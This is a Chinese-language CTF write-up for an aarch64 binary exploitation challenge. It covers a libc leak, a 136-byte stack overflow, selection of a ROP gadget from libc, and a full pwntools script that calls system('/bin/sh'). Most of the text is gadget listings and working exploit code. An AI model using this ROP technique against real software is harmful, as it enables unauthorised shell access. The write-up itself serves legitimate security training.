这是一道aarch64的pwn,正常的ret2libc,考察了aarch64下的指令运用
笔者用的m1所以不需要使用qemu模拟

1功能可以直接leak出libc地址
2功能是一个栈溢出漏洞

偏移128 + 8就可以覆盖到ret
需要执行system(“/bin/sh”);
第一点,需要先控制x0(一参)
armv8里有一个指令可以对其进行赋值:ldr,先看一下pwn文件的gadgets
➜ mtctf_2022 cat g | grep 'ldr x0'
0x0000000000400990 : add x0, sp, #0x18 ; movz x2, #0x8 ; mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x00000000004008a4 : adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400740 : adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x00000000004008a0 : bl #0x400660 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400738 : bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x000000000040073c : bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x00000000004009a0 : bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x00000000004009a4 : ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x00000000004008a8 : ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400744 : ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x00000000004008ac : ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400998 : mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x000000000040072c : movk x4, #0, lsl #32 ; movk x4, #0x40, lsl #16 ; movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x0000000000400730 : movk x4, #0x40, lsl #16 ; movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x0000000000400734 : movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x000000000040099c : movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x000000000040089c : movz x1, #0 ; bl #0x400660 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400994 : movz x2, #0x8 ; mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
之所以不找mov是因为mov x0在pwn文件里是没有的,利用还是挺难的, 都有跳转指令,因为前面泄露出了libc地址,可以试着在libc里面寻找gadgets
0x00000000000436dc : ldp x25, x26, [sp, #0x40] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
0x00000000000b6514 : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x70] ; ldp x29, x30, [sp], #0x1a0 ; ret
0x000000000004353c : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
0x00000000000436dc : ldp x25, x26, [sp, #0x40] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
0x00000000000b6514 : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x70] ; ldp x29, x30, [sp], #0x1a0 ; ret
0x000000000004353c : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
0x0000000000063e5c : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
0x0000000000043540 : ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
再仔细筛选出上面的gadgets,这里用最简单的一个gadget来解,0x0000000000063e5c
ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
ldr x0, [sp, #0x18]这个指令会将sp + 0x18这个地址内容给到x0,我们只需要在sp + 0x18这里填入bin_sh的地址即可。调试一下看一下需要放到哪个位置
p1 = b'a' * (128 + 8)
p1 += p64(gadgets)


粉色的是gadgets的地址,红色的最后会给到x0,所以我们在这里填入bin_sh地址
到了ldp x29, x30, [sp], #0x20这里,这条指令的含义是sp存储的地址放入x29,sp + 8放入x30,最后sp += 0x20,X30为程序链接寄存器,保存子程序结束后需要执行的下一条指令,所以我们需要将sp + 8这里填入system_addr


所以最后的payload可以为
p1 = b'a' * (128 + 8)
p1 += p64(gadgets)
p1 += p64(0) * 3
p1 += p64(system_addr)
p1 += p64(0)
p1 += p64(bin_sh)


成功调用system,同理上面还有gadgets可以使用
exp如下
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
puts_got = elf.got['puts']
read_got = elf.got['read']
r.sendlineafter('>', '1')
r.sendafter('sensible>>', p64(puts_got))
r.recvuntil('\n')
puts_addr = u64(r.recvuntil('\n')[-8:6].ljust(8, b'\x00'))
li('puts_addr = ' + hex(puts_addr))
libc = ELF('./libc.so.6')
libc_base = puts_addr - libc.sym['puts']
li('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
li('bin_sh = ' + hex(bin_sh))
gadgets = 0x0000000000063e5c + libc_base
#0x0000000000063e5c : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
p1 = b'a' * (128 + 8)
p1 += p64(gadgets)
p1 += p64(0) * 3
p1 += p64(system_addr)
p1 += p64(0)
p1 += p64(bin_sh)
r.sendlineafter('>', '2')
r.sendlineafter('sensible>>', p1)
r.interactive()